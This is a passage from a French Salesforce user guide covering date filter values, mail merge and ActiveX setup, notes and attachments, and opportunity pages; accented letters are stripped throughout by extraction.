Profil de la socit Exercice.

LES n PROCHAINS TRIMESTRES

FISCAUX

Commence minuit le premier jour du trimestre fiscal suivant le trimestre

fiscal en cours et se poursuit jusqu' la fin du dernier jour du nime trimestre
fiscal. (La plage ne comprend pas le trimestre fiscal en cours.) Le trimestre
fiscal est dfini dans le profil de la socit sous Configuration Profil de
la socit Exercice.

DERNIER EXERCICE

Commence minuit le premier jour de l'exercice prcdant l'exercice en

cours et se poursuit jusqu' la fin du dernier jour de cet exercice. L'exercice
est dfini dans le profil de la socit sous Configuration Profil de la
socit Exercice.

Vues de liste

Guide de l'utilisateur | Valeurs de date spciales pour les critres de filtrage | 1549

Valeur de date spciale

Plage

CET EXERCICE

Commence minuit le premier jour de l'exercice en cours et se poursuit

jusqu' la fin du dernier jour de l'exercice. L'exercice est dfini dans le profil
de la socit sous Configuration Profil de la socit Exercice.

PROCHAIN EXERCICE

Commence minuit le premier jour de l'exercice suivant l'exercice en cours

et se poursuit jusqu' la fin du dernier jour de cet exercice. L'exercice est
dfini dans le profil de la socit sous Configuration Profil de la socit
Exercice.

LES n DERNIERS EXERCICES

Commence minuit le premier jour de l'exercice, n exercices auparavant, et

se poursuit jusqu' la fin du dernier jour de l'exercice prcdant l'exercice en
cours. (La plage ne comprend pas l'exercice en cours.) L'exercice est dfini
dans le profil de la socit sous Configuration Profil de la socit
Exercice.

LES n PROCHAINS EXERCICES

Commence minuit le premier jour de l'exercice suivant l'exercice en cours

et se poursuit jusqu' la fin du dernier jour du nime exercice. (La plage ne
comprend pas l'exercice en cours.) L'exercice est dfini dans le profil de la
socit sous Configuration Profil de la socit Exercice.

Par exemple, pour crer une vue personnalise ou un rapport des comptes crs la semaine passe, entrez Crer une date
gale LA SEMAINE DERNIRE . Les valeurs de date ne tiennent pas compte de la casse ; vous pouvez entrer LA
SEMAINE DERNIRE ou la semaine dernire . Pour les valeurs de date spciales variables (telles que LES N
PROCHAINS JOURS ), remplacez N par n'importe quel nombre suprieur zro. N'utilisez pas de virgules.

Voir aussi :
Cration de vues Listes personnalises
Personnalisation des rapports

Publipostage
Envoi de documents de publipostage uniques
Disponible avec : Toutes les ditions

Pour gnrer un document de publipostage Microsoft Word unique, suivez cette procdure :
1. Cliquez sur Publipostage dans la liste associe Historique des activits de l'enregistrement appropri. Les comptes, les
contacts, les pistes, les requtes, les opportunits et les objets personnaliss sont pris en charge.
Remarque:

2. Utilisez la recherche pour indiquer l'enregistrement partir duquel les informations seront fusionnes.
Si votre entreprise utilise les comptes personnels, ces derniers sont renvoys dans les recherches portant la fois sur les
comptes et sur les contacts.
3. Slectionnez un modle de publipostage.
4. Cochez ventuellement la case permettant de consigner une tche pour le publipostage.
5. Cliquez sur Gnrer.
Si l'objet personnalis a une relation principal-dtails avec des opportunits, le contact principal pour l'opportunit est
slectionn par dfaut.
6. Salesforce.com gnre ensuite votre document :

Si votre entreprise utilise le publipostage standard, Word s'ouvre avec votre document gnr. Lorsque le document
s'affiche, slectionnez Enregistrer sous dans le menu Fichier pour enregistrer le document sur le disque dur.
Si votre organisation utilise le Publipostage tendu et si votre demande dpasse la limite de la taille maximale, vous
serez invit slectionner un modle de publipostage plus petit. Avec le publipostage tendu, Word ne s'ouvre pas
lorsque vous cliquez sur Gnrer. la place, Salesforce.com vous envoie un e-mail qui contient le document Word
gnr sous forme de pice jointe ou fournit un lien vers ce document dans l'onglet Documents.
Remarque: Le publipostage tendu disponible sur demande uniquement. Contactez le support client
salesforce.com si cette fonction vous intresse.

7. Si vous choisissez de consigner une activit pour le publipostage, entrez les informations de tche et crez si vous le souhaitez
une tche de suivi.
Par dfaut, l'objet de la tche de publipostage correspond au nom du modle de publipostage et la tche est affiche sous
forme d'activit termine dans la liste associe Historique de l'activit. Le document de publipostage n'est pas enregistr
avec la tche.
8. Vous pouvez ensuite imprimer et envoyer le document, ou l'envoyer sous forme de pice jointe dans un e-mail.

Publipostage

Guide de l'utilisateur | Utilisation de l'assistant Publipostage en masse | 1551

Observations sur le publipostage

Pour le publipostage standard, vous devez tre quip du navigateur Web Internet Explorer 6 ou 7, du traitement de texte
Microsoft Word 2000, 2002 (XP), 2003 ou 2007, et du systme d'exploitation Microsoft Windows 2000, XP ou Vista.
Le publipostage tendu prend en charge les environnements supplmentaires suivants : le navigateur Web Mozilla Firefox
et Apple Mac OS. En outre, l'installation d'un contrle ActiveX n'est pas ncessaire. Le publipostage tendu disponible
sur demande uniquement. Contactez le support client salesforce.com si cette fonction vous intresse.
Le publipostage standard et le publipostage tendu prennent en charge Microsoft Word 2000 et les versions ultrieures.

Le publipostage standard prend actuellement en charge les modles Word 2007 enregistrs aux formats .docx ou .dotx,
contrairement au publipostage tendu.
Les documents de publipostage vous donnent uniquement accs aux champs pour lesquels vous tes habilit, par
l'intermdiaire de votre prsentation de page et des paramtres de scurit de niveau champ. (La scurit au niveau du
champ est uniquement disponible avec Enterprise Edition, Unlimited Edition et Developer Edition.)
Avec le publipostage tendu, une opration de publipostage ne peut pas dpasser les limites suivantes :
-

1 000 enregistrements
La taille totale du ou des modles de publipostage slectionns ne peut pas excder 1 Mo.
Pour les publipostages en masse, le nombre d'enregistrements slectionns multipli par les tailles combines des modles
de publipostage slectionns ne peut pas excder 50 Mo.

Voir aussi :
Utilisation de l'assistant Publipostage en masse

Utilisation de l'assistant Publipostage en masse

Disponible avec : Toutes les ditions

Remarque: Le publipostage tendu disponible sur demande uniquement. Contactez le support client salesforce.com
si cette fonction vous intresse.
En outre, l'administrateur doit activer cette fonction pour que vous puissiez utiliser la fonctionnalit de publipostage
tendu. Reportez-vous Personnalisation des paramtres de l'interface utilisateur la page 361.
Grce au publipostage tendu, vous pouvez facilement gnrer des documents Word de publipostage, tels que des lettres types
avec les enveloppes et les tiquettes d'adresse correspondantes, pour plusieurs enregistrements la fois.
1. Ouvrez la page d'accueil de l'onglet correspondant aux comptes, contacts ou pistes. Les autres types d'enregistrement ne
sont pas pris en charge actuellement.
2. Dans la zone Outils, cliquez sur Publipostage en masse pour dmarrer l'assistant de publipostage en masse.
3. Choisissez une vue de liste approprie dans la liste droulante Vue. Pour crer ou modifier une vue de liste, reportez-vous
Cration de vues Listes personnalises la page 1538.
4. Slectionnez les enregistrements inclure dans le publipostage. Pour slectionner tous les enregistrements affichs dans la
page, cochez la case situe dans l'en-tte de colonne.
5. Cliquez sur Suivant.
6. Slectionnez les types de document Word gnrer. Les documents, les enveloppes et les tiquettes sont pris en charge.

Publipostage

Guide de l'utilisateur | Utilisation de l'assistant Publipostage en masse | 1552

7. Cochez la case de consignation d'une activit pour consigner la gnration de ces documents de publipostage
en ajoutant une tche termine chaque enregistrement.
8. Cliquez sur Suivant.
9. Slectionnez les modles de publipostage appropris.
Pour des documents, choisissez de crer un document Word comportant toutes les sorties ou un document Word distinct
pour chaque enregistrement.
10. Vous pouvez galement cliquer sur Aperu du modle pour examiner le contenu d'un modle. Bien que vous puissiez
modifier le document Word qui apparat, les modifications apportes dans Word ne seront pas appliques votre demande
de publipostage actuelle. Pour qu'un modle rcemment rvis puisse tre publipost, il doit d'abord tre tlcharg.
11. Cliquez sur Terminer.
Remarque: Si votre demande excde la limite maximale de taille du publipostage tendu, vous serez invit
slectionner moins d'enregistrements ou des modles plus petits.

Salesforce.com vous enverra un e-mail lorsque vos documents gnrs seront prts. Ils peuvent tre joints l'e-mail sous la
forme de documents Word (.doc) ou d'un fichier Zip (.zip). Si la taille de la pice jointe dpasse la taille maximale autorise
dans votre entreprise ou si l'administrateur a dfini tous les documents de publipostage pour qu'ils soient enregistrs dans
l'onglet Documents, vos documents gnrs seront automatiquement enregistrs dans l'onglet Documents et vous recevrez un
e-mail comportant un lien d'accs.
Observations sur le publipostage

Pour le publipostage standard, vous devez tre quip du navigateur Web Internet Explorer 6 ou 7, du traitement de texte
Microsoft Word 2000, 2002 (XP), 2003 ou 2007, et du systme d'exploitation Microsoft Windows 2000, XP ou Vista.
Le publipostage tendu prend en charge les environnements supplmentaires suivants : le navigateur Web Mozilla Firefox
et Apple Mac OS. En outre, l'installation d'un contrle ActiveX n'est pas ncessaire. Le publipostage tendu disponible
sur demande uniquement. Contactez le support client salesforce.com si cette fonction vous intresse.
Le publipostage standard et le Publipostage tendu prennent en charge Microsoft Word 2000 et les versions ultrieures.

Le publipostage standard prend actuellement en charge les modles Word 2007 enregistrs aux formats .docx ou .dotx,
contrairement au publipostage tendu.
Les documents de publipostage vous donnent uniquement accs aux champs pour lesquels vous tes habilit, par
l'intermdiaire de votre prsentation de page et des paramtres de scurit de niveau champ. (La scurit au niveau du
champ est uniquement disponible avec Enterprise Edition, Unlimited Edition et Developer Edition.)
Avec le publipostage tendu, une opration de publipostage ne peut pas dpasser les limites suivantes :
-

1 000 enregistrements
La taille totale du ou des modles de publipostage slectionns ne peut pas excder 1 Mo.
Pour les publipostages en masse, le nombre d'enregistrements slectionns multipli par les tailles combines des modles
de publipostage slectionns ne peut pas excder 50 Mo.

Voir aussi :
Envoi de documents de publipostage uniques

Publipostage

Guide de l'utilisateur | Installation du contrle ActiveX pour le publipostage | 1553

Installation du contrle ActiveX pour le publipostage

Disponible avec : Toutes les ditions

Avec le publipostage standard, la premire fois que vous gnrez un document de publipostage, vous devez installer un contrle
ActiveX qui permet Salesforce.com de communiquer avec Word. Vous devez tre connect en tant qu'utilisateur Windows
et disposer des privilges d'administration suffisants pour tlcharger les contrles ActiveX. Si vous ne parvenez pas
tlcharger les contrles ActiveX, contactez votre service informatique ou l'administrateur Windows pour obtenir de l'aide.
En outre, votre PC doit rpondre aux exigences suivantes :

Microsoft Internet Explorer 6.0, 7.0 ou 8.0

Microsoft Windows 2000, XP ou Vista
Microsoft Word 2000, XP ou 2007

Configurez votre navigateur Web comme suit afin qu'il accepte les contrles ActiveX :
Cliquez sur Outils Options Internet pour ouvrir la bote de dialogue Options Internet.
Accdez l'onglet Scurit.
Cliquez sur l'icne correspondant la zone Internet, puis sur Personnaliser le niveau.
Dans la section Contrles ActiveX et plug-ins, slectionnez Activer ou Demander pour les paramtres suivants :
Tlcharger les contrles ActiveX signs, Excuter les contrles ActiveX et les plug-ins, et Contrles ActiveX reconnus
srs pour l'criture de scripts.
5. Dans la section Tlchargement, slectionnez Activer pour le paramtre Tlchargement de fichier.
6. Cliquez sur OK.
7. Rpercutez les paramtres de niveau personnaliss dfinis ci-dessus dans la zone Sites de confiance.
8. Assurez-vous que salesforce.com est un site de confiance en cliquant sur le bouton Sites et en recherchant
https://*.salesforce.com dans la liste. S'il n'apparat pas, saisissez https://*.salesforce.com dans la zone
de texte et cliquez sur Ajouter. Cliquez sur OK.
9. Cliquez sur l'onglet Avanc de la bote de dialogue Options Internet.
10. Dans la section Scurit au bas de la zone Paramtres, assurez-vous que la case Ne pas enregistrer les pages cryptes sur le
disque est vide (non coche).
11. Cliquez sur OK.
12. Vous devrez peut-tre redmarrer Internet Explorer pour que vos modifications deviennent effectives.
1.
2.
3.
4.

Si vous utilisez Internet Explorer 7.0 ou 8.0, la premire fois que vous procdez un publipostage, un message contextuel du
type Exception : serveur Automation ne peut pas crer l'objet peut apparatre. Ne tenez pas compte de
ce message. Cliquez sur OK pour fermer la fentre contextuelle et continuer votre publipostage.
Remarque: Le publipostage tendu ne requiert pas l'installation d'un contrle ActiveX. Le publipostage tendu
disponible sur demande uniquement. Contactez le support client salesforce.com si cette fonction vous intresse.

Notes et pices jointes

Affichage et modification de Google Documents, notes et
pices jointes
Les notes et les pices jointes sont disponibles dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition
Google Documents est disponible dans toutes les ditions

Vous pouvez crer, afficher et modifier des notes, ainsi qu'ajouter des pices jointes partir des listes associes aux notes et
aux pices jointes sur les pages de dtail telles que comptes, contacts, opportunits et produits. Vous pouvez galement ajouter
des pices jointes partir des listes associes aux pices jointes sur les pages de dtail des requtes, des solutions et des campagnes
slectionnes.
Remarque: Si le service Ajouter Google Documents Salesforce.com est activ au sein de votre organisation, la liste
associe Notes et pices jointes est intitule Google Documents, Notes et pices jointes et la liste associe Pices jointes
est intitule Google Documents et pices jointes.

Pour afficher le contenu d'une note, cliquez sur son nom.

Pour afficher les dtails de toutes les notes, pices jointes ou documents Google, cliquez sur Afficher tout.
Le bouton Afficher tout n'apparat que lorsqu'il y a des enregistrements afficher.

Pour afficher une pice jointe, cliquez sur le nom du fichier, puis slectionnez le lien sur la page de dtails de fichier joint.
Pour modifier une note ou le nom d'une pice jointe, cliquez sur Modifier et apportez les modifications ncessaires. Il est
impossible de modifier directement le fichier joint.
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un noms
de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Pour crer un nouveau document Google, slectionnez Nouveau document, Nouvelle feuille de calcul ou Nouvelle
prsentation dans la liste droulante Ajouter un document Google. Pour plus d'informations, reportez-vous Ajout de
Google Documents Salesforce.com la page 1844.
Pour associer un document Google un enregistrement Salesforce.com, slectionnez Ajouter un document existant dans
la liste droulante Ajouter un document Google. Pour plus d'informations, reportez-vous la rubrique Modification de
liens de documents Google la page 1847.
Pour modifier le nom ou l'URL d'un document Google, cliquez sur Modifier.
Pour supprimer un document Google de la liste associe, cliquez sur Suppr. Cette action supprime l'association du document
l'enregistrement mais ne le supprime pas de Google Apps.
Pour afficher et modifier le document Google, cliquez sur Afficher.

Tenez compte des considrations suivantes lorsque vous travaillez avec des notes, des pices jointes et avec des documents
Google :

Pour accder un document Google depuis une page de dtails d'enregistrement, ce document doit tre partag l'aide
de votre compte Google Apps.
La taille maximale d'un fichier joint (y compris un fichier joint une solution) est de 5 Mo. Pour un ou plusieurs fichiers
joints aux e-mails, la taille maximale est de 10 Mo. Tous les types de fichier sont pris en charge.

Notes et pices jointes

Guide de l'utilisateur | Cration de notes | 1555

Toutes les notes et pices jointes ajoutes aux contacts et aux opportunits apparaissent galement dans le compte associ.
Vous ne pouvez pas modifier une note ou une pice jointe si vous n'avez pas galement accs la modification de
l'enregistrement qui lui est associ.
Pour supprimer une note ou une pice jointe, vous devez en tre le responsable ou tre un administrateur disposant de
l'autorisation Modifier toutes les donnes .
Les notes et pices jointes marques comme prives via la case Prive sont accessibles uniquement leur responsable et
aux administrateurs. Les administrateurs doivent bnficier de l'autorisation Afficher toutes les donnes pour afficher
les notes et pices jointes prives, et de l'autorisation Modifier toutes les donnes pour les modifier ou les supprimer.
La liste associe Notes et pices jointes ne comprend pas de fichiers Salesforce CRM Content. Si Salesforce CRM Content
est activ pour votre entreprise, vous pouvez ajout la liste associe Contenu associ la page de dtail des comptes, des
contacts, des pistes, des opportunits, des produits, des requtes ou des objets personnaliss. Pour plus d'informations,
reportez-vous Recherche de Salesforce CRM Content la page 1795.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Cration de notes
Ajout de pices jointes
Prsentation de Salesforce CRM Content

Cration de notes
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Pour crer une note, cliquez sur Nouvelle note dans la liste Notes et pices jointes associe un enregistrement. Donnez une
description de la note et de son contenu. Une note peut contenir jusqu' 32 Ko de donnes.
Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler l'orthographe
de la note. Le vrificateur contrle le corps de la note, pas son titre. Le correcteur orthographique ne prend pas en charge
toutes les langues prises en charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles
que le Japonais, le Coren ou le Chinois, ne sont pas prises en charge.
Lorsque vous avez termin, cliquez sur Enregistrer. Notez que vous devez avoir accs la modification de l'enregistrement
pour pouvoir crer une note qui lui est associe.
Remarque: Toutes les notes ajoutes depuis les pages Contact ou Opportunit apparaissent dans la liste associe aux
notes et pices jointes de cet enregistrement, ainsi que dans la liste associe au compte auquel elles sont associes.

Voir aussi :
Ajout de pices jointes

Notes et pices jointes

Guide de l'utilisateur | Ajout de pices jointes | 1556

Ajout de pices jointes

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Pour ajouter une pice jointe la liste associe Pices jointes d'une requte, d'une solution ou d'une campagne, ou encore la
liste associe Notes et pices jointes d'un compte, d'un contact, d'une piste, d'une opportunit ou d'un objet personnalis,
suivez la procdure ci-dessous :
1.
2.
3.
4.

Cliquez sur Joindre le fichier.

Cliquez sur Parcourir pour indiquer l'emplacement et le nom du fichier.
Cliquez sur Joindre le fichier pour le tlcharger.
Une fois le tlchargement termin, cliquez sur Termin.
Remarque:

Vous avez besoin de l'autorisation de modification d'un enregistrement pour y ajouter une pice jointe.
La taille maximale d'un fichier joint (y compris un fichier joint une solution) est de 5 Mo. Pour un ou plusieurs
fichiers joints un e-mail, le maximum est de 10 Mo.
Si le paramtre de scurit Refuser les pices jointes et les documents HTML est activ pour votre
entreprise, vous ne pourrez pas tlcharger des fichiers dots des extensions suivantes : htm, html, htt, htx, mhtm,
mhtml, shtm, shtml, acgi. Les pices jointes HTML ne sont pas autorises sur les solutions, que ce paramtre de
scurit soit ou non activ. En outre, ce paramtre ne concerne pas les pices jointes des modles d'e-mail, ces
dernires tant toujours autorises.

Une fois qu'un fichier est joint la liste associe Pices jointes ou Notes et pices jointes, vous pouvez cliquer sur Afficher
tout pour visualiser les dtails de toutes les pices jointes sur la liste associe. Le bouton Afficher tout n'apparat que lorsqu'il
y a des enregistrements afficher.

Voir aussi :
Cration de notes

Opportunits
Prsentation des opportunits
Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
inscrites pendant ou aprs la version Summer '09 de juin 2009

Les opportunits sont les ventes et affaires en attente dont vous voulez assurer le suivi. En ajoutant des opportunits, vous
crez votre en-cours qui contribue vos prvisions. Vous pouvez galement lier les opportunits aux campagnes pour faciliter
l'valuation du retour sur investissement des programmes de marketing.
L'onglet Opportunits affiche une page d'accueil qui vous permet de crer et de trouver rapidement des opportunits. Vous
pouvez galement trier et filtrer les opportunits l'aide de vues Listes standard et personnalises. En outre, cet onglet vous
permet d'afficher et de modifier les informations dtailles de toutes les opportunits auxquelles vous avez accs.

Voir aussi :
Page d'accueil des opportunits
Affichage des listes d'opportunits

Page d'accueil des opportunits

Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
inscrites pendant ou aprs la version Summer '09 de juin 2009

Autorisations utilisateur requises

Pour afficher l'onglet Opportunit :

Autorisation de lecture sur les opportunits

Pour afficher des opportunits :

Autorisation de lecture sur les opportunits

Pour crer des opportunits :

Autorisation de cration sur les opportunits

Il suffit de cliquer sur l'onglet Opportunits pour afficher la page d'accueil des opportunits.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Dans la section Opportunits rcentes, slectionnez un lment dans la liste droulante pour afficher une brve liste des
meilleures opportunits correspondant ce critre. Dans la liste, vous pouvez cliquer sur le nom de toute opportunit voulue
pour passer directement aux dtails de cette opportunit. Cliquez alternativement sur les liens Afficher 25 lments et

Opportunits

Guide de l'utilisateur | Page d'accueil des opportunits | 1558

Afficher 10 lments pour changer le nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la
prsentation de recherche de l'onglet Opportunits dfinie par l'administrateur et des paramtres de scurit relatifs aux
champs (disponibles exclusivement dans Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options
disponibles pour les opportunits rcentes :

Option

Description

Affich rcemment

Les dix ou vingt-cinq dernires opportunits affiches, les

opportunits consultes le plus rcemment figurant en
premier dans la liste. Cette liste provient des lments rcents
et contient les enregistrements dont vous tes responsable
et ceux des autres utilisateurs.

Cr rcemment

Les dix ou vingt-cinq dernires opportunits cres, les

opportunits cres le plus rcemment figurant en premier
dans la liste. Cette liste ne contient que les enregistrements
dont vous tes responsable.

Modifi rcemment

Les dix ou vingt-cinq dernires opportunits mises jour,

les opportunits mises jour le plus rcemment figurant en
premier dans la liste. Cette liste ne contient que les
enregistrements dont vous tes responsable.

Remplissez les champs de la zone Cration rapide pour ajouter une nouvelle opportunit. Vous pouvez galement cliquer
sur Nouveau prs de l'intitul Opportunits rcentes pour crer une opportunit.
Sous Rapports, cliquez sur le nom du rapport que vous souhaitez afficher. Dans des rapports sur les opportunits, vous
pouvez filtrer les opportunits par les quipes de vente dont vous tes membre.
Dans la section Rsum trimestriel, slectionnez les valeurs voulues, puis cliquez sur Excuter le rapport pour afficher un
rsum d'opportunits trimestriel.
Si des opportunits sont partages avec des contacts externes via 100% Salesforce, choisissez l'une des vues de liste sous
Opportunits partir des connexions pour afficher les opportunits que vos partenaires professionnels ont partages avec
vous.

Voir aussi :
Prsentation des opportunits
Affichage et modification des opportunits
Cration de vues Listes personnalises

Opportunits

Guide de l'utilisateur | Affichage des listes d'opportunits | 1559

Affichage des listes d'opportunits

Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
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Autorisations utilisateur requises

Pour afficher des listes d'opportunits :

Autorisation de lecture sur les opportunits

Pour crer des opportunits :

Autorisation de cration sur les opportunits

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste des opportunits affiche la liste des opportunits dans votre vue actuelle. partir de cette page, vous pouvez
afficher des informations dtailles sur l'opportunit et accder des informations associes.

Cliquez sur le nom d'une opportunit pour en afficher le dtail. Cliquez sur Modifier ou Suppr pour modifier ou supprimer
une opportunit. Reportez-vous Affichage et modification des opportunits la page 1560.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier. Dans une vue de liste personnalise, vous pouvez filtrer les listes
d'opportunits par les quipes de comptes dont vous tes membre. Lors de la cration ou de la modification d'une vue de
liste personnalise pour des opportunits, slectionnez simplement le filtre Mes quipes de vente.
Remarque: Si une vue de liste d'opportunit a t cre avec le filtre Mes quipes de vente, ce filtre est exclus
lors de l'affichage de la vue de liste dans le portail PRM.

Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur Nouvelle opportunit ou slectionnez Opportunit dans la liste droulante Crer du menu latral pour crer
une opportunit. Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les opportunits.
Cliquez sur un en-tte de colonne pour trier les opportunits par ordre croissant en fonction des informations contenues
dans cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe d'opportunits suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.
Remarque: Dans Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez accorder un accs plus
tendu vos opportunits que ne le permet le modle de partage. Reportez-vous Partage d'opportunits la page

Opportunits

Guide de l'utilisateur | Affichage et modification des opportunits | 1560

1565. Avec Professional Edition, pour permettre un accs plus large aux opportunits, vous pouvez partager le compte
associ l'opportunit. Reportez-vous Partage de comptes la page 1061.

Voir aussi :
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes
Cration de vues Listes personnalises

Affichage et modification des opportunits

Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
inscrites pendant ou aprs la version Summer '09 de juin 2009

Autorisations utilisateur requises

Pour afficher des opportunits :

Autorisation de lecture sur les opportunits

Pour modifier des opportunits :

Autorisation de modification sur les opportunits

Affichage des opportunits

Lorsque vous avez trouv l'opportunit voulue sur la page d'accueil ou sur la page de liste des opportunits, cliquez sur
son nom pour afficher des informations dtailles. Depuis un compte, un contact ou une campagne, cliquez sur le nom
de l'opportunit dans la liste associe aux opportunits pour l'afficher. Toutes les opportunits associes au compte, au
contact ou la campagne sont rpertories dans la liste associe aux opportunits.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification des opportunits
Pour mettre jour une opportunit, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre jour.
Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement slectionner Enregistrer et Nouveau pour
enregistrer l'opportunit actuelle et en crer une nouvelle.
Marquage des opportunits
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.

Opportunits

Guide de l'utilisateur | Affichage et modification des opportunits | 1561

Clonage
Cliquez sur Cloner pour cloner une opportunit. Si des produits sont inclus sur une opportunit, mais ne sont pas requis
par votre entreprise, le bouton se dveloppe pour fournir des options supplmentaires dans la liste droulante.
Partage
Dans Enterprise Edition, Unlimited Edition et Developer Edition, pour partager une opportunit individuelle avec
d'autres utilisateurs, groupes ou rles, cliquez sur Partage. Reportez-vous Partage d'opportunits la page 1565.
Listes associes de l'opportunit
La partie infrieure de l'cran affiche un instantan d'informations commerciales importantes lies l'opportunit. Les
listes associes qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre administrateur
pour la prsentation des pages ou par vos autorisations d'affichage des donnes connexes. Vous pouvez cliquer sur des
lments individuels pour afficher des dtails supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus
d'informations sous une liste associe pour afficher d'autres lments. Cliquez sur le bouton Nouveau pour ajouter
directement de nouveaux lments. Par exemple, le fait de cliquer sur Nouvelle tche vous permet d'ajouter directement
une nouvelle tche.
Impression des opportunits
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails de l'opportunit. Si
votre organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
Historique des tapes
Produits
Ajout de produits aux opportunits
Ajout de membres l'quipe de vente
Prvisions d'opportunit
Modification du territoire d'une opportunit
Quest-ce que linfluence de campagne ?

Opportunits

Guide de l'utilisateur | Affichage et modification des opportunits | 1562

Historique du champ d'opportunit

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Autorisations utilisateur requises

Pour afficher des opportunits :

Autorisation de lecture sur les opportunits

La liste associe l'Historique du champ d'opportunit d'une page des dtails de l'opportunit suit les modifications apportes
l'opportunit. Chaque fois qu'un utilisateur modifie les champs standard ou personnaliss dont l'historique doit tre suivi
sur l'opportunit, une nouvelle entre est ajoute la liste associe l'Historique du champ d'opportunit. Toutes les entres
comprennent la date, l'heure et la nature de la modification, ainsi que le nom de l'utilisateur ayant apport la modification.
Les modifications apportes aux listes associes l'opportunit ne font pas l'objet d'un suivi dans l'historique des opportunits.
Pour obtenir des informations sur la configuration des champs suivis, reportez-vous Suivi de l'historique des opportunits
la page 410.
Remarque: Pour obtenir des informations sur le suivi des modifications, reportez-vous l'Historique des tapes la
page 1562.

Historique des tapes

Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
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inscrites pendant ou aprs la version Summer '09 de juin 2009

Autorisations utilisateur requises

Pour afficher l'historique des tapes d'opportunit :

Autorisation de lecture sur les opportunits

La liste associe Historique des tapes d'une page de dtails d'opportunit suit les changements de statut de cette opportunit.
Chaque fois que vous modifiez le montant, la probabilit, l'tape ou la date de clture de l'opportunit, une
nouvelle entre est ajoute la liste avec le nom de la personne ayant effectu la modification et un tampon dateur.
Pour plus d'informations sur le suivi des modifications apportes tout champ standard ou personnalis sur une opportunit,
consultez la rubrique Historique du champ d'opportunit la page 1562. Pour plus d'informations sur le suivi des modifications

Opportunits

Guide de l'utilisateur | Affichage et modification des opportunits | 1563

dans les statuts de champs d'opportunits standard et personnaliss l'aide de rapports et de tableaux de bord, reportez-vous
Configuration des Instantans analytiques la page 227.

Voir aussi :
Affichage et modification des opportunits

Produits
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

La liste associe aux produits d'une page de dtails d'une opportunit rpertorie les produits qui font partie de cette opportunit.
Votre administrateur peut personnaliser les pages de modification du produit et les pages de dtails auxquelles vous accdez
lorsque vous slectionnez le produit d'une opportunit en cliquant sur Configuration Personnalisation Opportunits
Produits de l'opportunit Prsentations de page. Reportez-vous Gestion des prsentations de page la page 544 pour
en savoir plus sur la cration et la personnalisation de vos propres prsentations de page.

Voir aussi :
Choix d'un catalogue pour une opportunit
Ajout de produits aux opportunits
Affichage et modification des opportunits

Prvisions d'opportunit
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les prvisions des autres utilisateurs :

Afficher toutes les prvisions

Pour remplacer votre prvision :

Ignorer les prvisions

La liste associe Prvisions d'opportunit est disponible sur la page de dtails d'une opportunit si votre organisation utilise
